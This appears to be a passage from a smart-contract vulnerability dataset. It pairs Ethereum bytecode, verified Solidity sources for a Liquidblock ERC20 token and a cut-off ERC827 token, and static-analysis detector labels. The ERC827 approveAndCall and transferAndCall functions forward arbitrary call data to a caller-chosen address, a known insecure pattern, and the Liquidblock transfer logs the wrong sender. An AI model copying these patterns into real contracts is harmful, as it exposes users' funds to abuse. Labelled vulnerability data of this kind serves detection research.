ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612c46929190613d0a565b60405180910390a25050505050565b600064010000000083108290612ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c989190613a38565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b600081359050612ce881613e4c565b92915050565b600081359050612cfd81613e63565b92915050565b600081359050612d1281613e7a565b92915050565b600081359050612d2781613e91565b92915050565b600081359050612d3c81613ea8565b92915050565b600060208284031215612d5457600080fd5b6000612d6284828501612cd9565b91505092915050565b60008060408385031215612d7e57600080fd5b6000612d8c85828601612cd9565b9250506020612d9d85828601612cd9565b9150509250929050565b600080600060608486031215612dbc57600080fd5b6000612dca86828701612cd9565b9350506020612ddb86828701612cd9565b9250506040612dec86828701612d03565b9150509250925092565b600080600080600080600060e0888a031215612e1157600080fd5b6000612e1f8a828b01612cd9565b9750506020612e308a828b01612cd9565b9650506040612e418a828b01612d03565b9550506060612e528a828b01612d03565b9450506080612e638a828b01612d2d565b93505060a0612e748a828b01612cee565b92505060c0612e858a828b01612cee565b91505092959891949750929550565b60008060408385031215612ea757600080fd5b6000612eb585828601612cd9565b9250506020612ec685828601612d03565b9150509250929050565b60008060008060008060c08789031215612ee957600080fd5b6000612ef789828a01612cd9565b9650506020612f0889828a01612d03565b9550506040612f1989828a01612d03565b9450506060612f2a89828a01612d2d565b9350506080612f3b89828a01612cee565b92505060a0612f4c89828a01612cee565b9150509295509295509295565b60008060408385031215612f6c57600080fd5b6000612f7a85828601612cd9565b9250506020612f8b85828601612d18565b9150509250929050565b612f9e81613d65565b82525050565b612fad81613d77565b82525050565b612fbc81613d83565b82525050565b612fd3612fce82613d83565b613e31565b82525050565b6000612fe482613d3e565b612fee8185613d49565b9350612ffe818560208601613dfe565b61300781613e3b565b840191505092915050565b600061301d82613d33565b6130278185613d49565b9350613037818560208601613dfe565b61304081613e3b565b840191505092915050565b6000613058601f83613d49565b91507f4b57494b3a3a7065726d69743a20696e76616c6964207369676e6174757265006000830152602082019050919050565b6000613098601a83613d49565b91507f4b57494b3a3a7065726d69743a20756e617574686f72697a65640000000000006000830152602082019050919050565b60006130d8602683613d49565b91507f4b57494b3a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061313e603c83613d49565b91507f4b57494b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b60006131a4600283613d5a565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006131e4601b83613d49565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000613224602f83613d49565b91507f4b57494b3a3a6d696e743a2063616e6e6f74207472616e7366657220746f207460008301527f6865207a65726f206164647265737300000000000000000000000000000000006020830152604082019050919050565b600061328a603e83613d49565b91507f4b57494b3a3a7365744d696e7465723a206f6e6c7920746865206d696e74657260008301527f2063616e206368616e676520746865206d696e746572206164647265737300006020830152604082019050919050565b60006132f0603a83613d49565b91507f4b57494b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b6000613356605283613d5a565b91507f5065726d69742861646472657373206f776e65722c616464726573732073706560008301527f6e6465722c75696e743235362076616c75652c75696e74323536206e6f6e636560208301527f2c75696e7432353620646561646c696e652900000000000000000000000000006040830152605282019050919050565b60006133e2602283613d49565b91507f4b57494b3a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613448602483613d49565b91507f4b57494b3a3a6d696e743a206f6e6c7920746865206d696e7465722063616e2060008301527f6d696e74000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006134ae602383613d49565b91507f4b57494b3a3a6d696e743a206d696e74696e67206e6f7420616c6c6f7765642060008301527f79657400000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613514604383613d5a565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006135a0602183613d49565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613606602783613d49565b91507f4b57494b3a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061366c601f83613d49565b91507f4b57494b3a3a7065726d69743a207369676e61747572652065787069726564006000830152602082019050919050565b60006136ac602683613d49565b91507f4b57494b3a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613712603a83613d5a565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6000613778601d83613d49565b91507f4b57494b3a3a6d696e743a206578636565646564206d696e74206361700000006000830152602082019050919050565b6137b481613dad565b82525050565b6137c381613db7565b82525050565b6137d281613dc7565b82525050565b6137e181613dec565b82525050565b6137f081613dd4565b82525050565b600061380182613197565b915061380d8285612fc2565b60208201915061381d8284612fc2565b6020820191508190509392505050565b600061383882613349565b9150819050919050565b600061384d82613507565b9150819050919050565b600061386282613705565b9150819050919050565b60006020820190506138816000830184612f95565b92915050565b600060408201905061389c6000830185612f95565b6138a96020830184612f95565b9392505050565b60006020820190506138c56000830184612fa4565b92915050565b60006020820190506138e06000830184612fb3565b92915050565b600060c0820190506138fb6000830189612fb3565b6139086020830188612f95565b6139156040830187612f95565b61392260608301866137ab565b61392f60808301856137ab565b61393c60a08301846137ab565b979650505050505050565b600060808201905061395c6000830187612fb3565b6139696020830186612f95565b61397660408301856137ab565b61398360608301846137ab565b95945050505050565b60006080820190506139a16000830187612fb3565b6139ae6020830186612fb3565b6139bb60408301856137ab565b6139c86060830184612f95565b95945050505050565b60006080820190506139e66000830187612fb3565b6139f360208301866137c9565b613a006040830185612fb3565b613a0d6060830184612fb3565b95945050505050565b60006020820190508181036000830152613a308184613012565b905092915050565b60006020820190508181036000830152613a528184612fd9565b905092915050565b60006020820190508181036000830152613a738161304b565b9050919050565b60006020820190508181036000830152613a938161308b565b9050919050565b60006020820190508181036000830152613ab3816130cb565b9050919050565b60006020820190508181036000830152613ad381613131565b9050919050565b60006020820190508181036000830152613af3816131d7565b9050919050565b60006020820190508181036000830152613b1381613217565b9050919050565b60006020820190508181036000830152613b338161327d565b9050919050565b60006020820190508181036000830152613b53816132e3565b9050919050565b60006020820190508181036000830152613b73816133d5565b9050919050565b60006020820190508181036000830152613b938161343b565b9050919050565b60006020820190508181036000830152613bb3816134a1565b9050919050565b60006020820190508181036000830152613bd381613593565b9050919050565b60006020820190508181036000830152613bf3816135f9565b9050919050565b60006020820190508181036000830152613c138161365f565b9050919050565b60006020820190508181036000830152613c338161369f565b9050919050565b60006020820190508181036000830152613c538161376b565b9050919050565b6000602082019050613c6f60008301846137ab565b92915050565b6000602082019050613c8a60008301846137ba565b92915050565b6000604082019050613ca560008301856137ba565b613cb260208301846137e7565b9392505050565b6000602082019050613cce60008301846137c9565b92915050565b6000602082019050613ce960008301846137d8565b92915050565b6000602082019050613d0460008301846137e7565b92915050565b6000604082019050613d1f60008301856137d8565b613d2c60208301846137d8565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000613d7082613d8d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000613df782613dd4565b9050919050565b60005b83811015613e1c578082015181840152602081019050613e01565b83811115613e2b576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b613e5581613d65565b8114613e6057600080fd5b50565b613e6c81613d83565b8114613e7757600080fd5b50565b613e8381613dad565b8114613e8e57600080fd5b50565b613e9a81613db7565b8114613ea557600080fd5b50565b613eb181613dc7565b8114613ebc57600080fd5b5056fe4b57494b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734b57494b3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734b57494b3a3a7065726d69743a20616d6f756e74206578636565647320393620626974734b57494b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734b57494b3a3a6d696e743a207472616e7366657220616d6f756e74206f766572666c6f77734b57494b3a3a6d696e743a20746f74616c537570706c79206578636565647320393620626974734b57494b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654b57494b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654b57494b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734b57494b3a3a617070726f76653a20616d6f756e74206578636565647320393620626974734b57494b3a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734b57494b3a3a6d696e743a20616d6f756e7420657863656564732039362062697473a2646970667358221220ccfc3347239057105babd2cfb6904bafcbe08c1433be86a88119ec59587c438b64736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
3,171
0x3b9f1b165e0f3f3db0f6fa3f2680f59146abaf4e
/** *Submitted for verification at Etherscan.io on 2022-02-09 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol interface IERC20{ function name() external view returns(string memory); function symbol() external view returns(string memory); function totalSupply() external view returns (uint ); function decimals() external view returns(uint); function balanceOf(address account) external view returns(uint); function approve(address sender , uint value)external returns(bool); function allowance(address sender, address spender) external view returns (uint256); function transfer(address recepient , uint value) external returns(bool); function transferFrom(address sender,address recepient, uint value) external returns(bool); event Transfer(address indexed from , address indexed to , uint value); event Approval(address indexed sender , address indexed spender , uint value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context{ constructor () {} function _msgsender() internal view returns (address) { return msg.sender; } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ // File: openzeppelin-solidity/contracts/math/SafeMath.sol library safeMath{ /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint a , uint b) internal pure returns(uint){ uint c = a+ b; require(c >= a, "amount exists"); return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a , uint b , string memory errorMessage) internal pure returns(uint){ uint c = a - b; require( c <= a , errorMessage ); return c; } /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context{ address private _Owner; event transferOwnerShip(address indexed _previousOwner , address indexed _newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor(){ address msgsender = _msgsender(); _Owner = msgsender; emit transferOwnerShip(address(0),msgsender); } /** * @dev Returns the address of the current owner. */ function checkOwner() public view returns(address){ return _Owner; } /** * @dev Throws if called by any account other than the owner. */ modifier OnlyOwner(){ require(_Owner == _msgsender(),"Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address _newOwner) public OnlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0),"Owner should not be 0 address"); emit transferOwnerShip(_Owner,_newOwner); _Owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract LiquidblockToken is Context, IERC20, Ownable { using safeMath for uint; mapping(address => uint) _balances; mapping(address => mapping(address => uint)) _allowances; string private _name; string private _symbol; uint private _decimal; uint private _totalSupply; constructor(){ _name = "Liquidblock"; _symbol = "LQB"; _decimal = 18; _totalSupply = 100000000*10**18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @return the name of the token. */ function name() external override view returns(string memory){ return _name; } /** * @return the symbol of the token. */ function symbol() external view override returns(string memory){ return _symbol; } /** * @return the number of decimals of the token. */ function decimals() external view override returns(uint){ return _decimal; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) external view override returns(uint){ return _balances[owner]; } /** * @dev Total number of tokens in existence */ function totalSupply() external view override returns(uint){ return _totalSupply; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender , uint value) external override returns(bool){ _approve(_msgsender(), spender , value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param sender address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address sender , address spender) external view override returns(uint){ return _allowances[sender][spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgsender(), spender, _allowances[_msgsender()][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgsender(), spender, _allowances[_msgsender()][spender].sub(subtractedValue, "LQB: decreased allowance below zero")); return true; } /** * @dev Transfer token for a specified address * @param recepient The address to transfer to. * @param value The amount to be transferred. */ function transfer(address recepient , uint value) external override returns(bool){ _transfer(msg.sender, recepient,value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param sender address The address which you want to send tokens from * @param recepient address The address which you want to transfer to * @param amount uint256 the amount of tokens to be transferred */ function transferFrom(address sender ,address recepient, uint amount) external override returns(bool){ _approve(sender, _msgsender(), _allowances[sender][_msgsender()].sub(amount,"exceeds allownace")); _transfer(sender,recepient,amount); return true; } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(uint256 amount) public OnlyOwner returns (bool) { _burn(msg.sender, amount); return true; } /** * @dev Transfer token for a specified addresses * @param sender The address to transfer from. * @param recepient The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address sender,address recepient, uint value) internal returns(bool success){ require(_balances[sender] >= value,"Balance not enough"); _balances[sender] = _balances[sender].sub(value,"Exceeds balance"); _balances[recepient] = _balances[recepient].add(value); emit Transfer(_msgsender(), recepient , value); return true; } /** * @dev Approve token for a specified addresses * @param sender The address to transfer from. * @param spender The address to transfer to. * @param amount The amount to be transferred. */ function _approve(address sender,address spender, uint amount) internal returns(bool success){ require(sender != address(0),"Should not be 0 address"); require(spender != address(0),"Should not be zero address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); return true; } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burn(address account, uint256 amount) internal { require(account != address(0), " LQB: burn from the zero address"); _balances[account] = _balances[account].sub(amount, " LQB: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount,"cant burn"); emit Transfer(account, address(0), amount); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb146101c7578063cdbce03d146101da578063dd62ed3e146101f5578063f2fde38b1461022e57600080fd5b806370a082311461018357806395d89b41146101ac578063a457c2d7146101b457600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461015d57806342966c681461017057600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610243565b6040516101049190610a99565b60405180910390f35b61012061011b366004610a56565b6102d5565b6040519015158152602001610104565b6006545b604051908152602001610104565b610120610150366004610a1a565b6102ec565b600554610134565b61012061016b366004610a56565b61038c565b61012061017e366004610a80565b6103c2565b6101346101913660046109cc565b6001600160a01b031660009081526001602052604090205490565b6100f7610435565b6101206101c2366004610a56565b610444565b6101206101d5366004610a56565b610493565b6000546040516001600160a01b039091168152602001610104565b6101346102033660046109e7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61024161023c3660046109cc565b6104a0565b005b60606003805461025290610b1d565b80601f016020809104026020016040519081016040528092919081815260200182805461027e90610b1d565b80156102cb5780601f106102a0576101008083540402835291602001916102cb565b820191906000526020600020905b8154815290600101906020018083116102ae57829003601f168201915b5050505050905090565b60006102e2338484610506565b5060019392505050565b6000610375843361037085604051806040016040528060118152602001706578636565647320616c6c6f776e61636560781b815250600260008b6001600160a01b03166001600160a01b03168152602001908152602001600020600061034f3390565b6001600160a01b03168152602081019190915260400160002054919061061b565b610506565b50610381848484610655565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102e29185906103709086610785565b600080546001600160a01b031633146104225760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61042c33836107db565b5060015b919050565b60606004805461025290610b1d565b60006102e2338461037085604051806060016040528060238152602001610b90602391393360009081526002602090815260408083206001600160a01b038d168452909152902054919061061b565b60006102e2338484610655565b6000546001600160a01b031633146104fa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610419565b61050381610904565b50565b60006001600160a01b03841661055e5760405162461bcd60e51b815260206004820152601760248201527f53686f756c64206e6f74206265203020616464726573730000000000000000006044820152606401610419565b6001600160a01b0383166105b45760405162461bcd60e51b815260206004820152601a60248201527f53686f756c64206e6f74206265207a65726f20616464726573730000000000006044820152606401610419565b6001600160a01b0384811660008181526002602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060019392505050565b6000806106288486610b06565b9050828582111561064c5760405162461bcd60e51b81526004016104199190610a99565b50949350505050565b6001600160a01b0383166000908152600160205260408120548211156106b25760405162461bcd60e51b8152602060048201526012602482015271084c2d8c2dcc6ca40dcdee840cadcdeeaced60731b6044820152606401610419565b604080518082018252600f81526e457863656564732062616c616e636560881b6020808301919091526001600160a01b0387166000908152600190915291909120546106ff91849061061b565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461072e9083610785565b6001600160a01b038416600081815260016020526040902091909155336001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161060991815260200190565b6000806107928385610aee565b9050838110156107d45760405162461bcd60e51b815260206004820152600d60248201526c616d6f756e742065786973747360981b6044820152606401610419565b9392505050565b6001600160a01b0382166108315760405162461bcd60e51b815260206004820181905260248201527f204c51423a206275726e2066726f6d20746865207a65726f20616464726573736044820152606401610419565b61086e81604051806060016040528060218152602001610b6f602191396001600160a01b038516600090815260016020526040902054919061061b565b6001600160a01b038316600090815260016020908152604091829020929092558051808201909152600981526831b0b73a10313ab93760b91b918101919091526006546108bc91839061061b565b6006556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b03811661095a5760405162461bcd60e51b815260206004820152601d60248201527f4f776e65722073686f756c64206e6f74206265203020616464726573730000006044820152606401610419565b600080546040516001600160a01b03808516939216917f5b94a5f1a151b859c1d5794b3740dff40527ffc8d12281797c100d36bcfd132191a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461043057600080fd5b6000602082840312156109de57600080fd5b6107d4826109b5565b600080604083850312156109fa57600080fd5b610a03836109b5565b9150610a11602084016109b5565b90509250929050565b600080600060608486031215610a2f57600080fd5b610a38846109b5565b9250610a46602085016109b5565b9150604084013590509250925092565b60008060408385031215610a6957600080fd5b610a72836109b5565b946020939093013593505050565b600060208284031215610a9257600080fd5b5035919050565b600060208083528351808285015260005b81811015610ac657858101830151858201604001528201610aaa565b81811115610ad8576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b0157610b01610b58565b500190565b600082821015610b1857610b18610b58565b500390565b600181811c90821680610b3157607f821691505b60208210811415610b5257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe204c51423a206275726e20616d6f756e7420657863656564732062616c616e63654c51423a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206e09540b1046a6bed60130600e4625f8c8e31fbcb2be921109b70980fef9fbeb64736f6c63430008070033
{"success": true, "error": null, "results": {}}
3,172
0x85df1cf84085b5c9c16ba965fec545c9a0257f76
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC827 is ERC20 { function approveAndCall( address _spender, uint256 _value, bytes _data ) public payable returns (bool); function transferAndCall( address _to, uint256 _value, bytes _data ) public payable returns (bool); function transferFromAndCall( address _from, address _to, uint256 _value, bytes _data ) public payable returns (bool); } contract ERC827Token is ERC827, StandardToken { /** * @dev Addition to ERC20 token methods. It allows to * @dev approve the transfer of value and execute a call with the sent data. * * @dev Beware that changing an allowance with this method brings the risk that * @dev someone may use both the old and the new allowance by unfortunate * @dev transaction ordering. One possible solution to mitigate this race condition * @dev is to first reduce the spender's allowance to 0 and set the desired value * @dev afterwards: * @dev https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param _spender The address that will spend the funds. * @param _value The amount of tokens to be spent. * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function approveAndCall( address _spender, uint256 _value, bytes _data ) public payable returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } /** * @dev Addition to ERC20 token methods. Transfer tokens to a specified * @dev address and execute a call with the sent data on the same transaction * * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function transferAndCall( address _to, uint256 _value, bytes _data ) public payable returns (bool) { require(_to != address(this)); super.transfer(_to, _value); // solium-disable-next-line security/no-call-value require(_to.call.value(msg.value)(_data)); return true; } /** * @dev Addition to ERC20 token methods. Transfer tokens from one address to * @dev another and make a contract call on the same transaction * * @param 